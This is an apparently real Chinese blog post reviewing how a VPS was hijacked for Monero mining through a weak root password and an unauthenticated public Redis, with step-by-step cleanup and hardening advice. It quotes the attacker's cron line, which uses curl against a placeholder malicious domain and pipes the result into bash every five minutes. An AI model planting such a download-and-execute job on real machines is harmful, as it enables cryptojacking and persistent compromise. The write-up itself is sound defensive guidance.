上周,一位读者的 VPS 被用来挖矿,CPU 飙到 100%,服务商发邮件警告即将封机。帮他排查的过程中,发现入侵路径非常典型——弱密码 + 暴露的 Redis。今天把整个排查过程和加固方案完整复盘,建议所有站长收藏,有备无患。
一、发现异常:入侵的蛛丝马迹
他的服务器平时 CPU 占用 5-10%,某天突然飙到 100%,网站卡成 PPT。登录 SSH 后执行 top 命令,发现一个陌生进程 xmrig 在疯狂吃资源。
top - 14:32:01 up 3 days, 2:15, 1 user, load average: 8.92, 9.15, 8.76
Tasks: 112 total, 3 running, 109 sleeping, 0 stopped, 0 zombie
%Cpu(s): 99.3 us, 0.5 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.2 si, 0.0 st
MiB Mem : 1993.0 total, 156.2 free, 1780.5 used, 56.3 buff/cache
MiB Swap: 0.0 total, 0.0 free, 0.0 used. 89.2 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1523 root 20 0 245.6m 180.2m 2.1m R 798.5 9.0 2:34:56 xmrig
其他异常信号:
/tmp目录下出现陌生可执行文件crontab -l发现不认识的定时任务/root/.ssh/authorized_keys被添加了陌生公钥- 系统日志
/var/log/auth.log有大量暴力破解记录
二、紧急止损:第一步先保住服务器
- 立即断开网络(防止继续被利用)
# 先不要关进程,保留现场
systemctl stop networking # 或者
iptables -A INPUT -j DROP # 临时阻断所有入站
- 备份当前进程和文件信息
ps aux > /root/ps_backup.txt
netstat -tulnp > /root/netstat_backup.txt
ls -la /tmp /var/tmp > /root/tmp_files.txt
crontab -l > /root/crontab_backup.txt
- 杀掉恶意进程
kill -9 1523 # 杀掉 xmrig
find / -name "xmrig" -delete # 清理残留文件
三、溯源分析:黑客是怎么进来的
排查一:SSH 暴力破解
grep "Failed password" /var/log/auth.log | tail -20
输出显示,入侵前一周有数千次来自同一 IP 段的失败登录,最终成功了一次。
Jul 15 03:22:12 vps sshd[2847]: Failed password for root from 194.87.XXX.XXX port 53214 ssh2
Jul 15 03:22:15 vps sshd[2847]: Failed password for root from 194.87.XXX.XXX port 53214 ssh2
Jul 15 03:22:18 vps sshd[2847]: Accepted password for root from 194.87.XXX.XXX port 53214 ssh2
结论:root 密码是 6 位纯数字,被字典爆破成功。
排查二:Redis 未授权访问
netstat -tulnp | grep 6379
Redis 监听在 0.0.0.0:6379,且没有设置密码。
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN 1234/redis-server
结论:Redis 暴露公网 + 无密码,黑客通过 Redis 写入 SSH 公钥拿到 root 权限。
完整入侵链:
- 扫描器发现 Redis 端口开放
- 利用 Redis 写入
authorized_keys - SSH 登录成功
- 下载挖矿程序并运行
- 添加定时任务确保持久化
四、彻底清理:不能只做表面功夫
- 检查所有用户和权限
cat /etc/passwd | grep "/bin/bash" # 查看哪些用户能登录
awk -F: '$3>=1000{print $1}' /etc/passwd # 查看新增的普通用户
发现黑客添加了一个隐藏用户 systemd-network,UID 1005,伪装成系统服务账户。
userdel -r systemd-network # 删除并清理家目录
- 检查所有定时任务
for user in $(cat /etc/passwd | cut -f1 -d:); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done
发现 root 和多个用户都有可疑定时任务,每 5 分钟检测挖矿进程是否存在,不存在就重新下载。
*/5 * * * * curl -s http://恶意域名/xmrig.sh | bash
清理:
crontab -r # 清空当前用户
# 逐个检查其他用户
crontab -u www -r
crontab -u mysql -r
- 检查 SSH 后门
cat /root/.ssh/authorized_keys # 删除陌生公钥
cat /home/*/.ssh/authorized_keys # 检查所有用户
- 检查系统文件篡改
rpm -Va # CentOS 检查文件完整性
debsums -s # Debian/Ubuntu 检查
发现 /usr/bin/top、/usr/bin/ps 被替换为伪装版本,隐藏挖矿进程。
# 重新安装被篡改的包
yum reinstall procps-ng coreutils # CentOS
apt-get install --reinstall procps coreutils # Debian/Ubuntu
- 检查启动项和服务
systemctl list-units --type=service --state=running | grep -v "loaded"
chkconfig --list # CentOS 检查遗留服务
update-rc.d -f 恶意服务 remove # Debian/Ubuntu
五、加固方案:防止二次入侵
- SSH 安全加固
# 修改默认端口
sed -i 's/#Port 22/Port 22222/' /etc/ssh/sshd_config
# 禁用 root 登录
sed -i 's/#PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
# 禁用密码登录,只用密钥
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
# 限制登录用户
echo "AllowUsers youruser" >> /etc/ssh/sshd_config
systemctl restart sshd
- 防火墙策略
# 仅开放必要端口
iptables -F
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 22222 -j ACCEPT # SSH
iptables -A INPUT -p tcp --dport 80 -j ACCEPT # HTTP
iptables -A INPUT -p tcp --dport 443 -j ACCEPT # HTTPS
iptables -A INPUT -j DROP
# 或者直接用 ufw
ufw default deny incoming
ufw allow 22222/tcp
ufw allow 80/tcp
ufw allow 443/tcp
ufw enable
- 安装 Fail2ban 防暴力破解
apt-get install fail2ban # Debian/Ubuntu
yum install fail2ban # CentOS
cat > /etc/fail2ban/jail.local << EOF
[DEFAULT]
bantime = 3600
findtime = 600
maxretry = 3
[sshd]
enabled = true
port = 22222
filter = sshd
logpath = /var/log/auth.log
EOF
systemctl enable fail2ban
systemctl start fail2ban
- Redis 安全加固
# 绑定本地 only
sed -i 's/bind 0.0.0.0/bind 127.0.0.1/' /etc/redis/redis.conf
# 设置强密码
echo "requirepass YourStrongPassword123!" >> /etc/redis/redis.conf
# 重命名危险命令
echo "rename-command FLUSHALL \"\"" >> /etc/redis/redis.conf
echo "rename-command CONFIG \"\"" >> /etc/redis/redis.conf
systemctl restart redis
- 定期安全巡检脚本
保存为 /root/security_check.sh,加入定时任务每天执行:
#!/bin/bash
LOG="/root/security_check.log"
DATE=$(date '+%Y-%m-%d %H:%M:%S')
echo "=== $DATE 安全巡检 ===" >> $LOG
# 检查异常进程
echo "[CPU TOP 10]" >> $LOG
ps aux --sort=-%cpu | head -10 >> $LOG
# 检查异常连接
echo "[异常连接]" >> $LOG
netstat -tulnp | grep -v "127.0.0.1" >> $LOG
# 检查新增用户
echo "[新增用户]" >> $LOG
awk -F: '$3>=1000{print $1}' /etc/passwd >> $LOG
# 检查定时任务
echo "[Root 定时任务]" >> $LOG
crontab -l >> $LOG
# 检查登录失败
echo "[最近登录失败]" >> $LOG
grep "Failed password" /var/log/auth.log | tail -5 >> $LOG
echo "=== 巡检结束 ===" >> $LOG
echo "" >> $LOG
chmod +x /root/security_check.sh
echo "0 3 * * * /root/security_check.sh" | crontab # 每天凌晨3点执行
六、被入侵后的数据恢复建议
如果服务器上有重要数据:
- 不要直接清理后继续使用 —— 黑客可能留有更多后门
- 备份数据到新机器 —— 只复制必要文件,不要复制可执行文件
- 重装系统最彻底 —— 快照还原到入侵前,或全新安装后恢复数据
- 检查备份是否干净 —— 确保备份文件没有被植入后门
总结
这次入侵的根源是三个低级错误:root 弱密码、Redis 暴露公网、没有防火墙。很多站长觉得"我的站小,没人攻击",但现在的扫描器是全自动的,不挑目标,只挑漏洞。花 30 分钟按上面的加固方案配置一遍,能挡住 90% 的自动化攻击。安全不是一次性工作,建议每月跑一次巡检脚本,养成习惯。
